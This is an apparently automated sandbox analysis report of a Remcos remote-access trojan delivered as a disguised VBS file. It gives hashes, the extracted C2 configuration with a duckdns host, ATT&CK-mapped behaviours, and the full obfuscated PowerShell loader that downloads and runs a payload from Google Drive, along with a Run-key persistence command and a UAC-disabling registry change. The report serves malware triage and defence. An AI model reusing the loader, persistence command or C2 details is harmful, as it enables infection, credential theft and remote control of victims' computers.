remcos | ac3e16f92971e0afe666f6ff5cfb7ae9a931f2056567cf0893e0ed1df1ce43ea

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-11-2024 02:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

202411_1801_ckc30w030l01_20241118182920618388·pdf.vbs
Size

16KB
MD5

e6c723d6a40150466aa011158c68e591
SHA1

f18348ee740329c6cb706123b34151dde9197b50
SHA256

969d4f51528c1a62de42fd8dfc0efaf09b1857426add53376a3e2db14456a173
SHA512

c9c85c17c329267d8dbed3441baa63c85cbd0abbad858dfd86632de8cd97b461d8f36c4b4fbd126712cd2664ba1e6bd2eece30fb090b9ff462ac4c052b204256
SSDEEP

384:X+7h2tykhjtUXkNaaYtydrEVql1UnqCrP0z9CW6fz83W4u8b:GUtbto31+rOqcnqCrMZuA3nb

Score

10^/10

remcos remotehost collection credential_access discovery evasion execution persistence rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

jwdtcx3kfb.duckdns.org:47392

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JY1QRO
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4468-90-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4820-89-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4200-83-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4200-83-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4468-90-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 13 IoCs

flow	pid	Process
3	1976	WScript.exe
6	1852	powershell.exe
8	1852	powershell.exe
34	1228	msiexec.exe
37	1228	msiexec.exe
42	1228	msiexec.exe
44	1228	msiexec.exe
45	1228	msiexec.exe
48	1228	msiexec.exe
50	1228	msiexec.exe
51	1228	msiexec.exe
52	1228	msiexec.exe
53	1228	msiexec.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3144	Chrome.exe
4048	Chrome.exe
1764	msedge.exe
3124	msedge.exe
3420	Chrome.exe
676	Chrome.exe
3952	msedge.exe
1596	msedge.exe
2320	msedge.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Aabeskyttelseslinien% -windowstyle 1 $Banegaardenes=(gp -Path 'HKCU:\\Software\\Crinums\\').Checkkontoens;%Aabeskyttelseslinien% ($Banegaardenes)"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1852	powershell.exe
540	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
34	drive.google.com
5	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1228	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
540	powershell.exe
1228	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1228 set thread context of 4468	1228	msiexec.exe	116
PID 1228 set thread context of 4200	1228	msiexec.exe	118
PID 1228 set thread context of 4820	1228	msiexec.exe	119

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
3816	reg.exe
4872	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1852	powershell.exe
1852	powershell.exe
540	powershell.exe
540	powershell.exe
540	powershell.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
4468	msiexec.exe
4468	msiexec.exe
4820	msiexec.exe
4820	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
4468	msiexec.exe
4468	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
3420	Chrome.exe
3420	Chrome.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
540	powershell.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe
1228	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3952	msedge.exe
3952	msedge.exe
3952	msedge.exe
3952	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1852	powershell.exe
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	4820	msiexec.exe
Token: SeShutdownPrivilege	3420	Chrome.exe
Token: SeCreatePagefilePrivilege	3420	Chrome.exe
Token: SeShutdownPrivilege	3420	Chrome.exe
Token: SeCreatePagefilePrivilege	3420	Chrome.exe
Token: SeShutdownPrivilege	3420	Chrome.exe
Token: SeCreatePagefilePrivilege	3420	Chrome.exe
Token: SeShutdownPrivilege	3420	Chrome.exe
Token: SeCreatePagefilePrivilege	3420	Chrome.exe
Token: SeShutdownPrivilege	3420	Chrome.exe
Token: SeCreatePagefilePrivilege	3420	Chrome.exe
Token: SeShutdownPrivilege	3420	Chrome.exe
Token: SeCreatePagefilePrivilege	3420	Chrome.exe
Token: SeShutdownPrivilege	3420	Chrome.exe
Token: SeCreatePagefilePrivilege	3420	Chrome.exe
Token: SeShutdownPrivilege	3420	Chrome.exe
Token: SeCreatePagefilePrivilege	3420	Chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3420	Chrome.exe
3952	msedge.exe
3952	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1228	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 1852	1976	WScript.exe	83
PID 1976 wrote to memory of 1852	1976	WScript.exe	83
PID 540 wrote to memory of 1228	540	powershell.exe	102
PID 540 wrote to memory of 1228	540	powershell.exe	102
PID 540 wrote to memory of 1228	540	powershell.exe	102
PID 540 wrote to memory of 1228	540	powershell.exe	102
PID 1228 wrote to memory of 3936	1228	msiexec.exe	105
PID 1228 wrote to memory of 3936	1228	msiexec.exe	105
PID 1228 wrote to memory of 3936	1228	msiexec.exe	105
PID 3936 wrote to memory of 3816	3936	cmd.exe	108
PID 3936 wrote to memory of 3816	3936	cmd.exe	108
PID 3936 wrote to memory of 3816	3936	cmd.exe	108
PID 1228 wrote to memory of 2268	1228	msiexec.exe	111
PID 1228 wrote to memory of 2268	1228	msiexec.exe	111
PID 1228 wrote to memory of 2268	1228	msiexec.exe	111
PID 2268 wrote to memory of 4872	2268	cmd.exe	113
PID 2268 wrote to memory of 4872	2268	cmd.exe	113
PID 2268 wrote to memory of 4872	2268	cmd.exe	113
PID 1228 wrote to memory of 4108	1228	msiexec.exe	114
PID 1228 wrote to memory of 4108	1228	msiexec.exe	114
PID 1228 wrote to memory of 4108	1228	msiexec.exe	114
PID 1228 wrote to memory of 3420	1228	msiexec.exe	115
PID 1228 wrote to memory of 3420	1228	msiexec.exe	115
PID 1228 wrote to memory of 4468	1228	msiexec.exe	116
PID 1228 wrote to memory of 4468	1228	msiexec.exe	116
PID 1228 wrote to memory of 4468	1228	msiexec.exe	116
PID 1228 wrote to memory of 4468	1228	msiexec.exe	116
PID 3420 wrote to memory of 1772	3420	Chrome.exe	117
PID 3420 wrote to memory of 1772	3420	Chrome.exe	117
PID 1228 wrote to memory of 4200	1228	msiexec.exe	118
PID 1228 wrote to memory of 4200	1228	msiexec.exe	118
PID 1228 wrote to memory of 4200	1228	msiexec.exe	118
PID 1228 wrote to memory of 4200	1228	msiexec.exe	118
PID 1228 wrote to memory of 4820	1228	msiexec.exe	119
PID 1228 wrote to memory of 4820	1228	msiexec.exe	119
PID 1228 wrote to memory of 4820	1228	msiexec.exe	119
PID 1228 wrote to memory of 4820	1228	msiexec.exe	119
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121
PID 3420 wrote to memory of 3928	3420	Chrome.exe	121

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\202411_1801_ckc30w030l01_20241118182920618388·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Cartograms Repaganisers Grejss Fiberkufferterne cnidoblast Ansgningsfristen Bromkaliummet #><#Sash Multielectrode Bruttoetagearealets pentaglottical #>$Erode72='Fashionabelt';function Erosely($Hedens){If ($host.DebuggerEnabled) {$Geolatry=4} for ($Catechus=$Geolatry;;$Catechus+=5){if(!$Hedens[$Catechus]) { break }$Moderne242+=$Hedens[$Catechus]}$Moderne242}function Sammenkogs($aimwre){ .($astichous) ($aimwre)}$Tamises=Erosely ',remn .atEA.ostGips.t.ikWPillEPhotbWhorcRe iLNudii.ecie Sp n esct';$Whitecup=Erosely 'NoveM ,ntoTreyzFagtiMucolOdorlTr kaFaar/';$Opklaringsstyrkes=Erosely 'R diTDogml Kr sBest1 ea2';$gennembruds='Glut[Flj.NPre E ftet Mo .GallSBag eAfgir Medv S,niM,ltCLustEBladPp.epoTenniTrusnDamatSomtMRiveaDeminInd.AWarsg HalEVskerHyst]Pres: Sk :UnicsAfseEBacac P ru Co Rt veISndrtFlosYHe,tpTes RS eao BagtUnnooArchC WaxoSkr LSka =Terr$TusiOHeltpyamsKKretL UslALea,RSkueiVa,tNAmmogF jlSSubdS NontBonnYBud RBoliK MereFaceS';$Whitecup+=Erosely '.edb5Mobu.Ruff0Konf Mrke(AutoW r niPap nUri dSubsoSubmw E,osVeks SubsNPeakTspor Semi1 Kni0 er.,bje0 Ur.;Star GejsW T miResonOver6Depu4Herl;Udf. KnskxFav 6 dsu4 Uds;Sup Krydr SpivC ta:Extr1.rae3 Uns1Fix .Velv0 Hyp)Hove BifiGTrafeProgcFagbksl no tau/Snar2Burg0Ud,a1 an0spa 0inte1 ab,0 Cla1Hy t NewsFMultisinurBudseLongfF geoFrikx eta/Impr1 Dvr3Occi1Tils.S,lv0';$Sarcomatosis193=Erosely 'SaliUOosps PoseElfir Ph - AtoaSalmG.tavEDecunDokut';$Viderebringelse=Erosely ' FerhDrabt Im,tVealpWebssV mp:Domy/tilk/,ntad Betr Evai Disv ReneLaka.FilogBeboo urbo Pr.gU,stl DaveRosf. H pcEgepo GanmJibs/S,stuIncoc To,?Gr,meCyulxRosepAw soUngrrRevet Au =KastdQuieoGravwStarnMa.tlFo koDet aKl ddPaak&AadsiGivtdSu,e=Rede1.lexpElev7BjlkKapriVSu fTpauljethnL ociQTr bH ForcFar Rfran-Pla -Sge.4 ,orrhemoS Kd BUnmuw ParnBhat5AnnaY DomLPhipk utrXSyndz .edETraa5DholyAstiuSmudZ ArczSka.8';$Stikpillers170=Erosely 'Cask>';$astichous=Erosely ' arii MazeAfteX';$Boretaarnene='Photoplaywright';$Scena='\Benzinmotorernes218.Gna';Sammenkogs (Erosely 'Arta$RascGAnisLStedO.lumbChapA Aerl.nva:AreomVskeuTrivs.ublhFrimrForuoL ejoWal MHj.miU.irN EryGFr m=ko,t$FusiEDekoNHe nVGu t:TigeADdssPskripC rnddrgsAO,seTT leaGene+J ke$ ohaSF utCDisteD.aeN myea');Sammenkogs (Erosely 'B ge$ SocGRefuL G,uOForlb,orga gygLWho :Hva,PNyphl ChoEUndeT oothEngaowhenR C lOIn nU spisafma= Pas$BrakVAfocIAssuDDomse EmpRPhotEStavB ttarArrhI ,eknZinkgAnnoEKla l OprsCrutE Fu,.DaglsAne pI dflRelaI SkgTAnae( Ph,$BelyS bnoT catIO hiK Cirp E tISjusl S llF ureOverR AgesR nd1Stil7Min 0 Den)');Sammenkogs (Erosely $gennembruds);$Viderebringelse=$Plethorous[0];$Catechusnosilicate=(Erosely 'Disl$O,emGCystLPoinOSev BFuckaTrinlAmob:Aff,psjleoPerfsanimIRhintSammiSikrOHorvNMid s An,L VinITopmsboe tJo vE GruRK ranBedie iss nt= otiNUd rEReacwB sl-sammoskrib,ikkJS.kteepi.c,osit.erv .chaS pmny .onsSt aTFormES enMarch.nond$Car,TForea BlaM kywi macSPreseM lls');Sammenkogs ($Catechusnosilicate);Sammenkogs (Erosely 'Ophr$phoePEligoFurzsSal i ScotAyi iSempoSprin.hyssOccal berisagasSammtArkaeHukkrSh.rnEgeneMurusupqu.EnliH SumeGanga GendSpeceDesir ligsTrou[ Fst$PhagSLibiaPolyrGigacLimsoAncim,abbaT rbt StooUncosCowli entsDe a1 Pol9Circ3C ri]Oste= Eun$DkssWHjerh Ur.iUngat H meModtcShowuMl ep');$Unskirted=Erosely 'Laby$ koPGraao Cens anaiNunatRykkiForsoRepanKon s Bill BraiUnvis Tint Anne rejr dsn rygeVicesTh s.PredDRampodiasw FodnSwinlKonso Yr aFascd TakFAcc iBor lAgele Sci(rhin$S,eoVB.yniDrf dSvove St.ropune ConbSemirErnriHoevn iblgGaw eResnlG lls RepeInte, O e$Pol,F NonlTedeaRiftsSa tkFa.oeWhi rErineKlipnTyndsk.meeLgprrKlov)';$Flaskerenser=$mushrooming;Sammenkogs (Erosely 'thor$NitrGEp klFrisosterBBarsaL gtLUdls:InelS Udia B,fM Su mUdyreAnkeN ng KUnunnEleny Ab,tRe.stSub E St,DPrevEF lk= Neu(CombTUnope MisSelevtPoly- upipBak,aComstTrouhPr,n Afp$ DolF H xlGrnlaLag SK,rsKPolyeOsteRt anEPro Nh,emSOmdmESelvRper )');while (!$Sammenknyttede) {Sammenkogs (Erosely 'Bolo$SpirgRenslR,nsoNonpb Rega TmrlPina:BursBLoegaLim tSlurhItery Dets Tenc .teaAsocp LaahHapaeAbibs Mic=C st$in.eEhka uAreorUnd oPearm MyrnDolmtColuelazyr') ;Sammenkogs $Unskirted;Sammenkogs (Erosely 'Un.rSFribt N.ka KamrHj mtA gu-HypeSRundlYdelES.rteEndapRver Cl.4');Sammenkogs (Erosely 'Stud$Cyang TralUnivORottBIn.rAPietlBaga:Un esHydrAMonom SpemBouleS mmNF ankMillNethnySurvt rict,ntieEfteDmo oEIgno= Rec(anertGorgERikosWaxbT o v- BlopUartaWormtAsf Ho al krl$retsFE,zoLMa sa TaksPeliKVerdE Uger ErhEE stNH,loS PreE IjorSvr )') ;Sammenkogs (Erosely ' Ol $ forgGan l hoOO.igB beaAantiLMapp:PullFmidteTyenM ankt spaE Stan ilrApunnaVaerR ieps Camf larDSineshearePretlskilsExpadArk.aKattgAd mEEry.NMark5 Par1Gill=L nd$GuarG Fral.fseOin fbScraaO,deLResi: HenFAgatESmutiOestN jlesConcC.iochStttMun oEHolac.nthkZedsE MauRSlibE rosPara+Fugl+Budd% P a$Con pTrafL upeE unTWitchPolyoBindRMercO FaluSmukS Cau.Sa tc ,tooDispUS idnPibet') ;$Viderebringelse=$Plethorous[$Femtenaarsfdselsdagen51]}$Sabbatic=334089;$Afkog=31095;Sammenkogs (Erosely 'K.es$ IrrgIn oL BesOHe,tBKomoaAfmrLBorg:un rgHjemHFemua K orkr,trVindI SpaeG aiS.osy Ov.r=Soci SupgUnivEB batKvad-F dsC Rito fl NHe nTMiljE QuaNAdreT Byl Disc$BiosF eadLSnotaIn uS VerkL veESchoR .oleoverNKeyssrecieC.llR');Sammenkogs (Erosely 'Se.r$Inddg Klel Denocubeb Reda,yvulBegr:OccuSTyk.tPrisuSkuld.inosec imBl nu KersTa,reGrapnGas. Vri =Woad Qui[Dev SRetry olss Au tPuriecoapm M a.SiksCTo.doPickn .ulvCalleSy drforvtHalo]Tote: Det:m scFLa cr kedoFilam FjoB ifaHattsposeePin,6 De,4DykkS ductLi,erTek iSpinn bongLano( Man$DunaG T ghDiviaD lfrImp,rkendiStene W,esStag)');Sammenkogs (Erosely 'Sapr$ HaeGVi elUn xO addbE kyAUn.iLtvan:EurotBoraOUnmecPatro Cykl Ha.oNonsG Fi IBereeFedtS End brud=Stra Gar [ artSUnply edeSFlotTV,ndEGradMBolu. VipTPi eEStrmXPerstSlag.M tee tdn izzcc,ttOMultDArc i U enCadugArbu]Areo:Daga:chitaH,nsSHypoc RosIUnv iGrn..Kan Gsa oE NikTSid sAccot OfrRenliiDi knDivig Fej(I.gt$Brofsra,gTRetru ,uqDOccuSBredm,geluRdehsTegle ogenAfre)');Sammenkogs (Erosely 'Hunh$Laesg cenlFa eoTargBDemeAForslLati: Gi R SkieLat,PEvo,ULandr.fteiGeniF Rk IAtomc Ho,adansTPropiSpiooFjo NMism7Ti e9 Gal=Ager$AangtKlumOS mmCTo uO ,eiLLahlodiskGEx.uI Gr e RevS eb.T.nds HoruW,reBVectSSemiT GuirRescI ChanMetagHe n( Eks$ StrsPly a FrabTrolBDuppaDucstHj oi,omecGuld,Idol$ PelaTragFBr.dKOveroUntrG dep)');Sammenkogs $Repurification79;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Cartograms Repaganisers Grejss Fiberkufferterne cnidoblast Ansgningsfristen Bromkaliummet #><#Sash Multielectrode Bruttoetagearealets pentaglottical #>$Erode72='Fashionabelt';function Erosely($Hedens){If ($host.DebuggerEnabled) {$Geolatry=4} for ($Catechus=$Geolatry;;$Catechus+=5){if(!$Hedens[$Catechus]) { break }$Moderne242+=$Hedens[$Catechus]}$Moderne242}function Sammenkogs($aimwre){ .($astichous) ($aimwre)}$Tamises=Erosely ',remn .atEA.ostGips.t.ikWPillEPhotbWhorcRe iLNudii.ecie Sp n esct';$Whitecup=Erosely 'NoveM ,ntoTreyzFagtiMucolOdorlTr kaFaar/';$Opklaringsstyrkes=Erosely 'R diTDogml Kr sBest1 ea2';$gennembruds='Glut[Flj.NPre E ftet Mo .GallSBag eAfgir Medv S,niM,ltCLustEBladPp.epoTenniTrusnDamatSomtMRiveaDeminInd.AWarsg HalEVskerHyst]Pres: Sk :UnicsAfseEBacac P ru Co Rt veISndrtFlosYHe,tpTes RS eao BagtUnnooArchC WaxoSkr LSka =Terr$TusiOHeltpyamsKKretL UslALea,RSkueiVa,tNAmmogF jlSSubdS NontBonnYBud RBoliK MereFaceS';$Whitecup+=Erosely '.edb5Mobu.Ruff0Konf Mrke(AutoW r niPap nUri dSubsoSubmw E,osVeks SubsNPeakTspor Semi1 Kni0 er.,bje0 Ur.;Star GejsW T miResonOver6Depu4Herl;Udf. KnskxFav 6 dsu4 Uds;Sup Krydr SpivC ta:Extr1.rae3 Uns1Fix .Velv0 Hyp)Hove BifiGTrafeProgcFagbksl no tau/Snar2Burg0Ud,a1 an0spa 0inte1 ab,0 Cla1Hy t NewsFMultisinurBudseLongfF geoFrikx eta/Impr1 Dvr3Occi1Tils.S,lv0';$Sarcomatosis193=Erosely 'SaliUOosps PoseElfir Ph - AtoaSalmG.tavEDecunDokut';$Viderebringelse=Erosely ' FerhDrabt Im,tVealpWebssV mp:Domy/tilk/,ntad Betr Evai Disv ReneLaka.FilogBeboo urbo Pr.gU,stl DaveRosf. H pcEgepo GanmJibs/S,stuIncoc To,?Gr,meCyulxRosepAw soUngrrRevet Au =KastdQuieoGravwStarnMa.tlFo koDet aKl ddPaak&AadsiGivtdSu,e=Rede1.lexpElev7BjlkKapriVSu fTpauljethnL ociQTr bH ForcFar Rfran-Pla -Sge.4 ,orrhemoS Kd BUnmuw ParnBhat5AnnaY DomLPhipk utrXSyndz .edETraa5DholyAstiuSmudZ ArczSka.8';$Stikpillers170=Erosely 'Cask>';$astichous=Erosely ' arii MazeAfteX';$Boretaarnene='Photoplaywright';$Scena='\Benzinmotorernes218.Gna';Sammenkogs (Erosely 'Arta$RascGAnisLStedO.lumbChapA Aerl.nva:AreomVskeuTrivs.ublhFrimrForuoL ejoWal MHj.miU.irN EryGFr m=ko,t$FusiEDekoNHe nVGu t:TigeADdssPskripC rnddrgsAO,seTT leaGene+J ke$ ohaSF utCDisteD.aeN myea');Sammenkogs (Erosely 'B ge$ SocGRefuL G,uOForlb,orga gygLWho :Hva,PNyphl ChoEUndeT oothEngaowhenR C lOIn nU spisafma= Pas$BrakVAfocIAssuDDomse EmpRPhotEStavB ttarArrhI ,eknZinkgAnnoEKla l OprsCrutE Fu,.DaglsAne pI dflRelaI SkgTAnae( Ph,$BelyS bnoT catIO hiK Cirp E tISjusl S llF ureOverR AgesR nd1Stil7Min 0 Den)');Sammenkogs (Erosely $gennembruds);$Viderebringelse=$Plethorous[0];$Catechusnosilicate=(Erosely 'Disl$O,emGCystLPoinOSev BFuckaTrinlAmob:Aff,psjleoPerfsanimIRhintSammiSikrOHorvNMid s An,L VinITopmsboe tJo vE GruRK ranBedie iss nt= otiNUd rEReacwB sl-sammoskrib,ikkJS.kteepi.c,osit.erv .chaS pmny .onsSt aTFormES enMarch.nond$Car,TForea BlaM kywi macSPreseM lls');Sammenkogs ($Catechusnosilicate);Sammenkogs (Erosely 'Ophr$phoePEligoFurzsSal i ScotAyi iSempoSprin.hyssOccal berisagasSammtArkaeHukkrSh.rnEgeneMurusupqu.EnliH SumeGanga GendSpeceDesir ligsTrou[ Fst$PhagSLibiaPolyrGigacLimsoAncim,abbaT rbt StooUncosCowli entsDe a1 Pol9Circ3C ri]Oste= Eun$DkssWHjerh Ur.iUngat H meModtcShowuMl ep');$Unskirted=Erosely 'Laby$ koPGraao Cens anaiNunatRykkiForsoRepanKon s Bill BraiUnvis Tint Anne rejr dsn rygeVicesTh s.PredDRampodiasw FodnSwinlKonso Yr aFascd TakFAcc iBor lAgele Sci(rhin$S,eoVB.yniDrf dSvove St.ropune ConbSemirErnriHoevn iblgGaw eResnlG lls RepeInte, O e$Pol,F NonlTedeaRiftsSa tkFa.oeWhi rErineKlipnTyndsk.meeLgprrKlov)';$Flaskerenser=$mushrooming;Sammenkogs (Erosely 'thor$NitrGEp klFrisosterBBarsaL gtLUdls:InelS Udia B,fM Su mUdyreAnkeN ng KUnunnEleny Ab,tRe.stSub E St,DPrevEF lk= Neu(CombTUnope MisSelevtPoly- upipBak,aComstTrouhPr,n Afp$ DolF H xlGrnlaLag SK,rsKPolyeOsteRt anEPro Nh,emSOmdmESelvRper )');while (!$Sammenknyttede) {Sammenkogs (Erosely 'Bolo$SpirgRenslR,nsoNonpb Rega TmrlPina:BursBLoegaLim tSlurhItery Dets Tenc .teaAsocp LaahHapaeAbibs Mic=C st$in.eEhka uAreorUnd oPearm MyrnDolmtColuelazyr') ;Sammenkogs $Unskirted;Sammenkogs (Erosely 'Un.rSFribt N.ka KamrHj mtA gu-HypeSRundlYdelES.rteEndapRver Cl.4');Sammenkogs (Erosely 'Stud$Cyang TralUnivORottBIn.rAPietlBaga:Un esHydrAMonom SpemBouleS mmNF ankMillNethnySurvt rict,ntieEfteDmo oEIgno= Rec(anertGorgERikosWaxbT o v- BlopUartaWormtAsf Ho al krl$retsFE,zoLMa sa TaksPeliKVerdE Uger ErhEE stNH,loS PreE IjorSvr )') 